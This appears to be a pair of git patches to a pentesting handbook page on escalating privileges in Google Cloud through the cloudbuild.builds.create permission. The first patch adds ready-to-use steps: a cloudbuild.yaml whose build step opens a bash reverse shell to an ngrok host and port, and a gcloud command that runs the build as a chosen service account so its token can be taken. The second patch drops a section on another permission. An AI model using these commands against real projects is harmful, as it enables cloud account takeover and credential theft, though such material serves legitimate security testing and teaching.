From 67e7ec9393597f74bdbedb224320ff07b653ef55 Mon Sep 17 00:00:00 2001 From: hasshido Date: Wed, 30 Jul 2025 21:00:52 +0200 Subject: [PATCH 1/2] Update cloudbuild.builds.create exploitation method Includes direct gcloud command descriptioon to exploit this permission. --- .../gcp-cloudbuild-privesc.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index c7fe2f0be8..5557616d12 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -15,6 +15,24 @@ For more information about Cloud Build check: With this permission you can **submit a cloud build**. The cloudbuild machine will have in it’s filesystem by **default a token of the cloudbuild Service Account**: `@cloudbuild.gserviceaccount.com`. However, you can **indicate any service account inside the project** in the cloudbuild configuration.\ Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change). +#### Direct exploitation via gcloud CLI + +1- Create `cloudbuild.yaml` and modify with your listener data +```yaml +steps: + - name: bash + script: | + #!/usr/bin/env bash + bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: + logging: CLOUD_LOGGING_ONLY +``` +2- Upload a simple build with no source, the yaml file and specify the SA to use on the build: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` + +#### Using python gcloud library You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.** For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) From 98fd0018ffb041b407d2623e507deab8367d87ff Mon Sep 17 00:00:00 2001 From: hasshido Date: Wed, 30 Jul 2025 21:13:32 +0200 Subject: [PATCH 2/2] Update gcp-cloudbuild-privesc.md removing cloudbuild.builds.update ### `cloudbuild.builds.update` Currently this permission is listed to **only** be able to be used to use the api method `builds.cancel()` which cannot be abused to change the parameters of an ongoing build References: - https://cloud.google.com/build/docs/iam-roles-permissions#permissions - https://cloud.google.com/build/docs/api/reference/rest/v1/projects.builds/cancel --- .../gcp-privilege-escalation/gcp-cloudbuild-privesc.md | 5 ----- 1 file changed, 5 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index 5557616d12..b2d8f54438 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -37,11 +37,6 @@ You can find the original exploit script [**here on GitHub**](https://github.com For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -### `cloudbuild.builds.update` - -**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API). - -TODO ### `cloudbuild.repositories.accessReadToken`